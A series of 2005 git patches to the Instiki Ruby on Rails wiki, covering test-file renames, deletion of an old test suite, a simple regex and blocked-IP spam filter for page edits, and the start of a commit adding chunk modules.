64b9a5c747733662e1f1236c4b569e79109a9ad6 Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Tue, 9 Aug 2005 01:24:44 +0000 Subject: [PATCH 325/529] fixing bad filename --- test/{functional => routes_test.rb} | 0 test/{uni => unit/diff_test.rb} | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename test/{functional => routes_test.rb} (100%) rename test/{uni => unit/diff_test.rb} (100%) diff --git a/test/functional b/test/routes_test.rb similarity index 100% rename from test/functional rename to test/routes_test.rb diff --git a/test/uni b/test/unit/diff_test.rb similarity index 100% rename from test/uni rename to test/unit/diff_test.rb From 8c331d101975769ed8b66c4df29fc0eee196a587 Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Tue, 9 Aug 2005 01:28:19 +0000 Subject: [PATCH 326/529] moved old test stuff --- test-old/all_tests.rb | 9 - test-old/test_helper.rb | 129 ------- test-old/unit/page_test.rb | 89 ----- test-old/unit/revision_test.rb | 335 ------------------ test-old/unit/web_test.rb | 165 --------- test-old/unit/wiki_service_test.rb | 129 ------- {test-old => test}/fixtures/rails.gif | Bin .../functional/admin_controller_test.rb | 0 .../functional/application_test.rb | 0 .../functional/file_controller_test.rb | 0 test/{ => functional}/routes_test.rb | 0 .../functional/wiki_controller_test.rb | 0 {test-old => test}/watir/e2e.rb | 0 13 files changed, 856 deletions(-) delete mode 100755 test-old/all_tests.rb delete mode 100644 test-old/test_helper.rb delete mode 100755 test-old/unit/page_test.rb delete mode 100755 test-old/unit/revision_test.rb delete mode 100755 test-old/unit/web_test.rb delete mode 100755 test-old/unit/wiki_service_test.rb rename {test-old => test}/fixtures/rails.gif (100%) rename {test-old => test}/functional/admin_controller_test.rb (100%) rename {test-old => test}/functional/application_test.rb (100%) rename {test-old => test}/functional/file_controller_test.rb (100%) rename test/{ => functional}/routes_test.rb (100%) rename {test-old => test}/functional/wiki_controller_test.rb (100%) rename {test-old => test}/watir/e2e.rb (100%) diff --git a/test-old/all_tests.rb b/test-old/all_tests.rb deleted file mode 100755 index 023ee389..00000000 --- a/test-old/all_tests.rb +++ /dev/null @@ -1,9 +0,0 @@ -require 'test_helper' -require 'find' - -test_root = File.dirname(__FILE__) -Find.find(test_root) { |path| - if File.file?(path) and path =~ /.*_test\.rb$/ - load path - end -} diff --git a/test-old/test_helper.rb b/test-old/test_helper.rb deleted file mode 100644 index fe8c1e29..00000000 --- a/test-old/test_helper.rb +++ /dev/null @@ -1,129 +0,0 @@ -ENV['RAILS_ENV'] = 'test' -require File.expand_path(File.dirname(__FILE__) + '/../config/environment') -require 'application' -require 'test/unit' -require 'breakpoint' -require 'action_controller/test_process' - -# Uncomment this variable to have assert_success check that response bodies are valid XML -$validate_xml_in_assert_success = true - -# Convenient setup method for Test::Unit::TestCase -class Test::Unit::TestCase - - private - - def setup_controller_test(controller_class = nil, host = nil) - if controller_class - @controller = controller_class.new - elsif self.class.to_s =~ /^(\w+Controller)Test$/ - @controller = Object::const_get($1).new - else - raise "Cannot derive the name of controller under test from class name #{self.class}" - end - @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new - @request.host = host || 'localhost' - return @request, @response - end - - # Wiki fixture for tests - - def setup_test_wiki - @wiki = ApplicationController.wiki = WikiServiceWithNoPersistence.new - @web = @wiki.create_web('Test Wiki 1', 'wiki1') - @home = @wiki.write_page('wiki1', 'HomePage', 'First revision of the HomePage end', Time.now, - Author.new('AnAuthor', '127.0.0.1')) - end - - def setup_wiki_with_three_pages - @oak = @wiki.write_page('wiki1', 'Oak', - "All about oak.\n" + - "category: trees", - 5.minutes.ago, Author.new('TreeHugger', '127.0.0.2')) - @elephant = @wiki.write_page('wiki1', 'Elephant', - "All about elephants.\n" + - "category: animals", - 10.minutes.ago, Author.new('Guest', '127.0.0.2')) - end - - def setup_wiki_with_30_pages - (1..30).each { |i| - @wiki.write_page('wiki1', "page#{i}", "Test page #{i}\ncategory: test", - Time.local(1976, 10, i, 12, 00, 00), Author.new('Dema', '127.0.0.2')) - } - end - - def tear_down_wiki - ApplicationController.wiki = nil - end - -end - -class WikiServiceWithNoPersistence - include AbstractWikiService - def initialize - init_wiki_service - end - - def storage_path - RAILS_ROOT + '/storage/test/' - end -end - - -# This module is to be included in unit tests that involve matching chunks. -# It provides a easy way to test whether a chunk matches a particular string -# and any the values of any fields that should be set after a match. -class ContentStub < String - include ChunkManager - def initialize(str) - super - init_chunk_manager - end - def page_link(*); end -end - -module ChunkMatch - - # Asserts a number of tests for the given type and text. - def match(chunk_type, test_text, expected_chunk_state) - if chunk_type.respond_to? :pattern - assert_match(chunk_type.pattern, test_text) - end - - content = ContentStub.new(test_text) - chunk_type.apply_to(content) - - # Test if requested parts are correct. - expected_chunk_state.each_pair do |a_method, expected_value| - assert content.chunks.last.kind_of?(chunk_type) - assert_respond_to(content.chunks.last, a_method) - assert_equal(expected_value, content.chunks.last.send(a_method.to_sym), - "Wrong #{a_method} value") - end - end - - # Asserts that test_text doesn't match the chunk_type - def no_match(chunk_type, test_text) - if chunk_type.respond_to? :pattern - assert_no_match(chunk_type.pattern, test_text) - end - end -end - -if defined? $validate_xml_in_assert_success and $validate_xml_in_assert_success == true - module Test - module Unit - module Assertions - unless method_defined? :__assert_success_before_ovverride_by_instiki - alias :__assert_success_before_ovverride_by_instiki :assert_success - end - def assert_success - __assert_success_before_ovverride_by_instiki - if @response.body.kind_of?(Proc) then # it's a file download, not an HTML content - else assert_nothing_raised(@response.body) { REXML::Document.new(@response.body) } end - end - end - end - end -end diff --git a/test-old/unit/page_test.rb b/test-old/unit/page_test.rb deleted file mode 100755 index 050bc8cd..00000000 --- a/test-old/unit/page_test.rb +++ /dev/null @@ -1,89 +0,0 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'web' -require 'page' - -class PageTest < Test::Unit::TestCase - - class MockWeb < Web - def initialize() super(nil, 'test','test') end - def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end - def refresh_pages_with_references(name) end - end - - def setup - @page = Page.new(MockWeb.new, "FirstPage") - @page.revise("HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", - Time.local(2004, 4, 4, 16, 50), - "DavidHeinemeierHansson") - end - - def test_lock - assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) - - @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") - - assert @page.locked?(Time.local(2004, 4, 4, 16, 50)) - assert !@page.locked?(Time.local(2004, 4, 4, 17, 1)) - - @page.unlock - - assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) - end - - def test_lock_duration - @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") - - assert_equal 15, @page.lock_duration(Time.local(2004, 4, 4, 16, 45)) - end - - def test_plain_name - assert_equal "First Page", @page.plain_name - end - - def test_revise - @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') - assert_equal 2, @page.revisions.length, 'Should have two revisions' - assert_equal 'MarianneSyhler', @page.author, 'Mary should be the author now' - assert_equal 'DavidHeinemeierHansson', @page.revisions.first.author, 'David was the first author' - end - - def test_revise_continous_revision - @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') - assert_equal 2, @page.revisions.length - - @page.revise('HisWay would be MyWay in kinda update', Time.local(2004, 4, 4, 16, 57), 'MarianneSyhler') - assert_equal 2, @page.revisions.length - assert_equal 'HisWay would be MyWay in kinda update', @page.revisions.last.content - assert_equal Time.local(2004, 4, 4, 16, 57), @page.revisions.last.created_at - - @page.revise('HisWay would be MyWay in the house', Time.local(2004, 4, 4, 16, 58), 'DavidHeinemeierHansson') - assert_equal 3, @page.revisions.length - assert_equal 'HisWay would be MyWay in the house', @page.revisions.last.content - - @page.revise('HisWay would be MyWay in my way', Time.local(2004, 4, 4, 17, 30), 'DavidHeinemeierHansson') - assert_equal 4, @page.revisions.length - end - - def test_revise_content_unchanged - last_revision_before = @page.revisions.last - revisions_number_before = @page.revisions.size - - assert_raises(Instiki::ValidationError) { - @page.revise(@page.revisions.last.content.dup, Time.now, 'AlexeyVerkhovsky') - } - - assert_same last_revision_before, @page.revisions.last - assert_equal revisions_number_before, @page.revisions.size - end - - def test_rollback - @page.revise("spot two", Time.now, "David") - @page.revise("spot three", Time.now + 2000, "David") - assert_equal 3, @page.revisions.length, "Should have three revisions" - @page.rollback(1, Time.now) - assert_equal "spot two", @page.content - end - -end diff --git a/test-old/unit/revision_test.rb b/test-old/unit/revision_test.rb deleted file mode 100755 index bd84e660..00000000 --- a/test-old/unit/revision_test.rb +++ /dev/null @@ -1,335 +0,0 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'web' -require 'revision' -require 'fileutils' - -class RevisionTest < Test::Unit::TestCase - - def setup - setup_test_wiki - @web.markup = :textile - - @page = @wiki.read_page('wiki1', 'HomePage') - ['MyWay', 'SmartEngine', 'ThatWay'].each do |page| - @wiki.write_page('wiki1', page, page, Time.now, 'Me') - end - @wiki.write_page('wiki1','NoWikiWord', 'hey you', Time.now, 'Me') - - @revision = Revision.new(@page, 1, - 'HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \OverThere -- ' + - 'see SmartEngine in that SmartEngineGUI', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - end - - def test_wiki_words - assert_equal %w( HisWay MyWay SmartEngine SmartEngineGUI ThatWay ), @revision.wiki_words.sort - - @wiki.write_page('wiki1', 'NoWikiWord', 'hey you', Time.now, 'Me') - assert_equal [], @wiki.read_page('wiki1', 'NoWikiWord').wiki_words - end - - def test_existing_pages - assert_equal %w( MyWay SmartEngine ThatWay ), @revision.existing_pages.sort - end - - def test_unexisting_pages - assert_equal %w( HisWay SmartEngineGUI ), @revision.unexisting_pages.sort - end - - def test_content_with_wiki_links - assert_equal '

            His Way? ' + - 'would be My Way in kinda ' + - 'That Way in ' + - 'His Way? ' + - 'though My Way OverThere—see ' + - 'Smart Engine in that ' + - 'Smart Engine GUI' + - '?

            ', - @revision.display_content - end - - def test_markdown - @web.markup = :markdown - - assert_markup_parsed_as( - %{

            My Headline

            \n\n

            that } + - %{Smart Engine GUI?

            }, - "My Headline\n===========\n\nthat SmartEngineGUI") - - code_block = [ - 'This is a code block:', - '', - ' def a_method(arg)', - ' return ThatWay', - '', - 'Nice!' - ].join("\n") - - assert_markup_parsed_as( - %{

            This is a code block:

            \n\n
            def a_method(arg)\n} +
            -	    %{return ThatWay\n
            \n\n

            Nice!

            }, - code_block) - end - - def test_markdown_hyperlink_with_slash - # in response to a bug, see http://dev.instiki.org/attachment/ticket/177 - @web.markup = :markdown - - assert_markup_parsed_as( - '

            text

            ', - '[text](http://example/with/slash)') - end - - def test_mixed_formatting - - textile_and_markdown = [ - 'Markdown heading', - '================', - '', - 'h2. Textile heading', - '', - '*some* **text** _with_ -styles-', - '', - '* list 1', - '* list 2' - ].join("\n") - - @web.markup = :markdown - assert_markup_parsed_as( - "

            Markdown heading

            \n\n" + - "

            h2. Textile heading

            \n\n" + - "

            some text with -styles-

            \n\n" + - "
              \n
            • list 1
            • \n
            • list 2
            • \n
            ", - textile_and_markdown) - - @web.markup = :textile - assert_markup_parsed_as( - "

            Markdown heading
            ================

            \n\n\n\t

            Textile heading

            " + - "\n\n\n\t

            some text with styles

            " + - "\n\n\n\t
              \n\t
            • list 1
            • \n\t\t
            • list 2
            • \n\t
            ", - textile_and_markdown) - - @web.markup = :mixed - assert_markup_parsed_as( - "

            Markdown heading

            \n\n\n\t

            Textile heading

            \n\n\n\t" + - "

            some text with styles

            \n\n\n\t" + - "
              \n\t
            • list 1
            • \n\t\t
            • list 2
            • \n\t
            ", - textile_and_markdown) - end - - def test_rdoc - @web.markup = :rdoc - - @revision = Revision.new(@page, 1, '+hello+ that SmartEngineGUI', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - - assert_equal "hello that Smart Engine GUI" + - "?\n\n", @revision.display_content - end - - def test_content_with_auto_links - assert_markup_parsed_as( - '

            http://www.loudthinking.com/ ' + - 'points to That Way from ' + - 'david@loudthinking.com

            ', - 'http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com') - - end - - def test_content_with_aliased_links - assert_markup_parsed_as( - '

            Would a clever motor' + - ' go by any other name?

            ', - 'Would a [[SmartEngine|clever motor]] go by any other name?') - end - - def test_content_with_wikiword_in_em - assert_markup_parsed_as( - '

            should we go ' + - 'That Way or This Way?' + - '

            ', - '_should we go ThatWay or ThisWay _') - end - - def test_content_with_wikiword_in_tag - assert_markup_parsed_as( - '

            That is some Stylish Emphasis

            ', - 'That is some Stylish Emphasis') - end - - def test_content_with_escaped_wikiword - # there should be no wiki link - assert_markup_parsed_as('

            WikiWord

            ', '\WikiWord') - end - - def test_content_with_pre_blocks - assert_markup_parsed_as( - '

            A class SmartEngine end would not mark up

            CodeBlocks

            ', - 'A class SmartEngine end would not mark up
            CodeBlocks
            ') - end - - def test_content_with_autolink_in_parentheses - assert_markup_parsed_as( - '

            The W3C body (' + - 'http://www.w3c.org) sets web standards

            ', - 'The W3C body (http://www.w3c.org) sets web standards') - end - - def test_content_with_link_in_parentheses - assert_markup_parsed_as( - '

            (What is a wiki?)

            ', - '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki)') - end - - def test_content_with_image_link - assert_markup_parsed_as( - '

            This is a Textile image link.

            ', - 'This !http://hobix.com/sample.jpg! is a Textile image link.') - end - - def test_content_with_inlined_img_tag - assert_markup_parsed_as( - '

            This is an inline image link.

            ', - 'This is an inline image link.') - assert_markup_parsed_as( - '

            This is an inline image link.

            ', - 'This is an inline image link.') - end - - def test_nowiki_tag - assert_markup_parsed_as( - '

            Do not mark up [[this text]] or http://www.thislink.com.

            ', - 'Do not mark up [[this text]] ' + - 'or http://www.thislink.com.') - end - - def test_multiline_nowiki_tag - assert_markup_parsed_as( - "

            Do not mark \n up [[this text]] \nand http://this.url.com but markup " + - 'this?

            ', - "Do not mark \n up [[this text]] \n" + - "and http://this.url.com but markup [[this]]") - end - - def test_content_with_bracketted_wiki_word - @web.brackets_only = true - assert_markup_parsed_as( - '

            This is a WikiWord and a tricky name ' + - 'Sperberg-McQueen?.

            ', - 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].') - end - - def test_content_for_export - assert_equal '

            His Way would be ' + - 'My Way in kinda ' + - 'That Way in ' + - 'His Way though ' + - 'My Way OverThere—see ' + - 'Smart Engine in that ' + - 'Smart Engine GUI

            ', - @revision.display_content_for_export - end - - def test_double_replacing - @revision.content = "VersionHistory\r\n\r\ncry VersionHistory" - assert_equal '

            Version History' + - "?

            \n\n\n\t

            cry " + - 'Version History?' + - '

            ', - @revision.display_content - - @revision.clear_display_cache - - @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory" - assert_equal "

            f
            Version History" + - "?

            \n\n\n\t

            cry " + - "Version History?" + - "

            ", - @revision.display_content - end - - def test_difficult_wiki_words - @revision.content = "[[It's just awesome GUI!]]" - assert_equal "

            It's just awesome GUI!" + - "?

            ", - @revision.display_content - end - - def test_revisions_diff - - @page.revisions = [ - Revision.new(@page, 0, 'What a blue and lovely morning', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson'), - Revision.new(@page, 1, 'What a red and lovely morning today', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - ] - - assert_equal "

            What a blue red " + - "and lovely morningmorning " + - "today

            ", @page.revisions.last.display_diff - end - - def test_link_to_file - assert_markup_parsed_as( - '

            doc.pdf?

            ', - '[[doc.pdf:file]]') - end - - def test_link_to_pic - FileUtils.mkdir_p "#{RAILS_ROOT}/storage/test/wiki1" - FileUtils.rm(Dir["#{RAILS_ROOT}/storage/test/wiki1/*"]) - @wiki.file_yard(@web).upload_file('square.jpg', StringIO.new('')) - assert_markup_parsed_as( - '

            Square

            ', - '[[square.jpg|Square:pic]]') - assert_markup_parsed_as( - '

            square.jpg

            ', - '[[square.jpg:pic]]') - end - - def test_link_to_non_existant_pic - assert_markup_parsed_as( - '

            NonExistant?' + - '

            ', - '[[NonExistant.jpg|NonExistant:pic]]') - assert_markup_parsed_as( - '

            NonExistant.jpg?' + - '

            ', - '[[NonExistant.jpg:pic]]') - end - - def test_wiki_link_with_colon - assert_markup_parsed_as( - '

            With:Colon?

            ', - '[[With:Colon]]') - end - - # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; - # also add a test for the "Unhappy Face" problem (another interesting RedCloth bug) - def test_list_with_tildas - list_with_tildas = <<-EOL - * "a":~b - * c~ d - EOL - - assert_markup_parsed_as( - "
              \n\t
            • a
            • \n\t\t
            • c~ d
            • \n\t
            ", - list_with_tildas) - end - - def test_textile_image_in_mixed_wiki - @web.markup = :mixed - assert_markup_parsed_as( - "

            \"\"\nss

            ", - "!http://google.com!\r\nss") - end - - - def assert_markup_parsed_as(expected_output, input) - revision = Revision.new(@page, 1, input, Time.local(2004, 4, 4, 16, 50), 'AnAuthor') - assert_equal expected_output, revision.display_content, 'Textile output not as expected' - end - -end diff --git a/test-old/unit/web_test.rb b/test-old/unit/web_test.rb deleted file mode 100755 index 4cd15411..00000000 --- a/test-old/unit/web_test.rb +++ /dev/null @@ -1,165 +0,0 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_service' - -class WebTest < Test::Unit::TestCase - def setup - @web = Web.new nil, 'Instiki', 'instiki' - end - - def test_wiki_word_linking - @web.add_page('SecondPage', 'Yo, yo. Have you EverBeenHated', - Time.now, 'DavidHeinemeierHansson') - - assert_equal('

            Yo, yo. Have you Ever Been Hated' + - '?

            ', - @web.pages["SecondPage"].display_content) - - @web.add_page('EverBeenHated', 'Yo, yo. Have you EverBeenHated', Time.now, - 'DavidHeinemeierHansson') - assert_equal('

            Yo, yo. Have you Ever Been Hated

            ', - @web.pages['SecondPage'].display_content) - end - - def test_pages_by_revision - add_sample_pages - assert_equal 'EverBeenHated', @web.select.by_revision.first.name - end - - def test_pages_by_match - add_sample_pages - assert_equal 2, @web.select { |page| page.content =~ /me/i }.length - assert_equal 1, @web.select { |page| page.content =~ /Who/i }.length - assert_equal 0, @web.select { |page| page.content =~ /none/i }.length - end - - def test_references - add_sample_pages - assert_equal 1, @web.select.pages_that_reference('EverBeenHated').length - assert_equal 0, @web.select.pages_that_reference('EverBeenInLove').length - end - - def test_delete - add_sample_pages - assert_equal 2, @web.pages.length - @web.remove_pages([ @web.pages['EverBeenInLove'] ]) - assert_equal 1, @web.pages.length - end - - def test_make_link - add_sample_pages - - existing_page_wiki_url = - 'Ever Been In Love' - existing_page_published_url = - 'Ever Been In Love' - existing_page_static_url = - 'Ever Been In Love' - new_page_wiki_url = - 'Unknown Word?' - new_page_published_url = - new_page_static_url = - 'Unknown Word' - - # no options - assert_equal existing_page_wiki_url, @web.make_link('EverBeenInLove') - - # :mode => :export - assert_equal existing_page_static_url, @web.make_link('EverBeenInLove', nil, :mode => :export) - - # :mode => :publish - assert_equal existing_page_published_url, - @web.make_link('EverBeenInLove', nil, :mode => :publish) - - # new page, no options - assert_equal new_page_wiki_url, @web.make_link('UnknownWord') - - # new page, :mode => :export - assert_equal new_page_static_url, @web.make_link('UnknownWord', nil, :mode => :export) - - # new page, :mode => :publish - assert_equal new_page_published_url, @web.make_link('UnknownWord', nil, :mode => :publish) - - # Escaping special characters in the name - assert_equal( - 'Smith & Wesson?', - @web.make_link('Smith & Wesson')) - - # optionally using text as the link text - assert_equal( - existing_page_published_url.sub(/>Ever Been In LoveHaven't you ever been in love?<"), - @web.make_link('EverBeenInLove', "Haven't you ever been in love?", :mode => :publish)) - - end - - def test_initialize - wiki_stub = Object.new - - web = Web.new(wiki_stub, 'Wiki2', 'wiki2', '123') - - assert_equal wiki_stub, web.wiki - assert_equal 'Wiki2', web.name - assert_equal 'wiki2', web.address - assert_equal '123', web.password - - # new web should be set for maximum features enabled - assert_equal :textile, web.markup - assert_equal '008B26', web.color - assert !web.safe_mode - assert_equal({}, web.pages) - assert web.allow_uploads - assert_equal wiki_stub, web.wiki - assert_nil web.additional_style - assert !web.published - assert !web.brackets_only - assert !web.count_pages - assert web.allow_uploads - assert_equal 100, web.max_upload_size - end - - def test_initialize_invalid_name - wiki_stub = Object.new - assert_raises(Instiki::ValidationError) { - Web.new(wiki_stub, 'Wiki2', "wiki\234", '123') - } - end - - def test_new_page_linked_from_mother_page - # this was a bug in revision 204 - home = @web.add_page('HomePage', 'This page refers to AnotherPage', - Time.local(2004, 4, 4, 16, 50), 'Alexey Verkhovsky') - @web.add_page('AnotherPage', 'This is \AnotherPage', - Time.local(2004, 4, 4, 16, 51), 'Alexey Verkhovsky') - - assert_equal [home], @web.select.pages_that_link_to('AnotherPage') - end - - def test_orphaned_pages - add_sample_pages - home = @web.add_page('HomePage', - 'This is a home page, it should not be an orphan', - Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky') - author = @web.add_page('AlexeyVerkhovsky', - 'This is an author page, it should not be an orphan', - Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky') - self_linked = @web.add_page('SelfLinked', - 'I am me SelfLinked and link to EverBeenInLove', - Time.local(2004, 4, 4, 16, 50), 'AnonymousCoward') - - # page that links to itself, and nobody else links to it must be an orphan - assert_equal ['EverBeenHated', 'SelfLinked'], - @web.select.orphaned_pages.collect{ |page| page.name }.sort - end - - - private - - def add_sample_pages - @in_love = @web.add_page('EverBeenInLove', 'Who am I me', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - @hated = @web.add_page('EverBeenHated', 'I am me EverBeenHated', - Time.local(2004, 4, 4, 16, 51), 'DavidHeinemeierHansson') - end -end diff --git a/test-old/unit/wiki_service_test.rb b/test-old/unit/wiki_service_test.rb deleted file mode 100755 index c02c61ff..00000000 --- a/test-old/unit/wiki_service_test.rb +++ /dev/null @@ -1,129 +0,0 @@ -#!/bin/env ruby -w - -require File.dirname(__FILE__) + '/../test_helper' -require 'wiki_service' -require 'fileutils' - -class WikiServiceTest < Test::Unit::TestCase - - # Clean the test storage directory before the run - unless defined? @@storage_cleaned - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.command_log']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.snapshot']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.tex']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.zip']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.pdf']) - FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/instiki/*']) - @@cleaned_storage = true - WikiService.instance.setup('pswd', 'Wiki', 'wiki') - end - - def setup - @s = WikiService.instance - @s.create_web 'Instiki', 'instiki' - @web = @s.webs['instiki'] - end - - def teardown - @s.delete_web 'instiki' - end - - def test_read_write_page - @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - Time.now, 'DavidHeinemeierHansson' - assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content - end - - def test_read_only_operations - @s.write_page 'instiki', 'TestReadOnlyOperations', 'Read only operations dont change the' + - 'state of any object, and therefore should not be logged by Madeleine!', - Time.now, 'AlexeyVerkhovsky' - - assert_doesnt_change_state_or_log :authenticate, 'pswd' - assert_doesnt_change_state_or_log :read_page, 'instiki', 'TestReadOnlyOperations' - assert_doesnt_change_state_or_log :setup? - assert_doesnt_change_state_or_log :webs - - @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - Time.now, 'DavidHeinemeierHansson' - assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content - end - - def test_aborted_transaction - @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - 10.minutes.ago, 'DavidHeinemeierHansson' - - assert_doesnt_change_state('revise_page with unchanged content') { - begin - @s.revise_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", - Time.now, 'DavidHeinemeierHansson' - fail 'Expected Instiki::ValidationError not raised' - rescue Instiki::ValidationError - end - } - end - - def test_file_yard - file_yard = @s.file_yard(@web) - assert_equal FileYard, file_yard.class - assert_equal(@s.storage_path + '/instiki', file_yard.files_path) - end - - def test_edit_web_validations - another_web = @s.create_web 'Another', 'another' - - # try to rename instiki web to another (which is the name of an already existing one) - assert_raises(Instiki::ValidationError) { - @s.edit_web('instiki', 'another', @web.name, @web.markup, @web.color, @web.additional_style) - } - - assert_raises(Instiki::ValidationError) { - @s.edit_web('nonexistant', 'another', @web.name, @web.markup, @web.color, @web.additional_style) - } - end - - - # Checks that a method call or a block doesn;t change the persisted state of the wiki - # Usage: - # assert_doesnt_change_state :read_page, 'instiki', 'TestReadOnlyOperations' - # or - # assert_doesnt_change_state {|wiki| wiki.webs} - - def assert_doesnt_change_state(method, *args, &block) - _assert_doesnt_change_state(including_command_log = false, method, *args, &block) - end - - # Same as assert_doesnt_change_state, but also asserts that no vommand log is generated - def assert_doesnt_change_state_or_log(method, *args, &block) - _assert_doesnt_change_state(including_command_log = true, method, *args, &block) - end - - private - - def _assert_doesnt_change_state(including_log, method, *args) - WikiService.snapshot - last_snapshot_before = last_snapshot - - if block_given? - yield @s - else - @s.send(method, *args) - end - - if including_log - command_logs = Dir[RAILS_ROOT + 'storage/test/*.command_log'] - assert command_logs.empty?, "Calls to #{method} should not be logged" - end - - last_snapshot_after = last_snapshot - assert last_snapshot_before == last_snapshot_after, - 'Calls to #{method} should not change the state of any persisted object' - end - - def last_snapshot - snapshots = Dir[RAILS_ROOT + '/storage/test/*.snapshot'] - assert !snapshots.empty?, "No snapshots found at #{RAILS_ROOT}/storage/test/" - File.read(snapshots.last) - end - -end diff --git a/test-old/fixtures/rails.gif b/test/fixtures/rails.gif similarity index 100% rename from test-old/fixtures/rails.gif rename to test/fixtures/rails.gif diff --git a/test-old/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb similarity index 100% rename from test-old/functional/admin_controller_test.rb rename to test/functional/admin_controller_test.rb diff --git a/test-old/functional/application_test.rb b/test/functional/application_test.rb similarity index 100% rename from test-old/functional/application_test.rb rename to test/functional/application_test.rb diff --git a/test-old/functional/file_controller_test.rb b/test/functional/file_controller_test.rb similarity index 100% rename from test-old/functional/file_controller_test.rb rename to test/functional/file_controller_test.rb diff --git a/test/routes_test.rb b/test/functional/routes_test.rb similarity index 100% rename from test/routes_test.rb rename to test/functional/routes_test.rb diff --git a/test-old/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb similarity index 100% rename from test-old/functional/wiki_controller_test.rb rename to test/functional/wiki_controller_test.rb diff --git a/test-old/watir/e2e.rb b/test/watir/e2e.rb similarity index 100% rename from test-old/watir/e2e.rb rename to test/watir/e2e.rb From 7ab0f052f335777ec4d3b0e4e71a72c4eef228c5 Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Tue, 9 Aug 2005 01:58:16 +0000 Subject: [PATCH 327/529] Primitive spam filter --- app/controllers/wiki_controller.rb | 24 +++++++++++++++++++++++- config/environments/production.rb | 11 +++++++++++ 2 files changed, 34 insertions(+), 1 deletion(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 43d55b2e..8fcf3060 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -176,6 +176,9 @@ class WikiController < ApplicationController cookies['author'] = @params['author'] begin + check_for_spam(@params['content'], remote_ip) + check_blocked_ips(remote_ip) + if @page wiki.revise_page(@web_name, @page_name, @params['content'], Time.now, Author.new(@params['author'], remote_ip)) @@ -227,7 +230,26 @@ class WikiController < ApplicationController private - + + def check_blocked_ips(ip) + if defined? BLOCKED_IPS and not BLOCKED_IPS.nil? + BLOCKED_IPS.each do |blocked_ip| + raise Instiki::ValidationError.new('Revision rejected by spam filter') if ip == blocked_ip + end + end + end + + def check_for_spam(new_content, ip) + if defined? SPAM_PATTERNS and not SPAM_PATTERNS.nil? + SPAM_PATTERNS.each do |pattern| + if new_content =~ pattern + logger.info "Spam attempt from IP address #{ip}" + raise Instiki::ValidationError.new('Revision rejected by spam filter') + end + end + end + end + def convert_tex_to_pdf(tex_path) # TODO remove earlier PDF files with the same prefix # TODO handle gracefully situation where pdflatex is not available diff --git a/config/environments/production.rb b/config/environments/production.rb index e5b18783..02d9dcb9 100644 --- a/config/environments/production.rb +++ b/config/environments/production.rb @@ -2,3 +2,14 @@ Dependencies.mechanism = :require ActionController::Base.consider_all_requests_local = false ActionController::Base.perform_caching = false + +spam_patterns_filename = RAILS_ROOT + '/config/spam_patterns.txt' +if File.exists? spam_patterns_filename + SPAM_PATTERNS = File.readlines(spam_patterns_filename).select { |line| line != '' }.map { + |line| Regexp.new(line) } +end + +blocked_ips_filename = RAILS_ROOT + '/config/blocked_ips.txt' +if File.exists? blocked_ips_filename + BLOCKED_IPS = File.readlines(blocked_ips_filename).select { |line| line != '' } +end From c4b7b2d9f23267406906e1f009d89fa06ac9efbe Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Tue, 9 Aug 2005 02:07:39 +0000 Subject: [PATCH 328/529] added chunks --- lib/chunks/category.rb | 33 ++++++++ lib/chunks/chunk.rb | 86 +++++++++++++++++++ lib/chunks/engines.rb | 61 ++++++++++++++ lib/chunks/include.rb | 41 ++++++++++ lib/chunks/literal.rb | 31 +++++++ lib/chunks/nowiki.rb | 28 +++++++ lib/chunks/test.rb | 18 ++++ lib/chunks/uri.rb | 182 +++++++++++++++++++++++++++++++++++++++++ lib/chunks/wiki.rb | 141 +++++++++++++++++++++++++++++++ 9 files changed, 621 insertions(+) create mode 100644 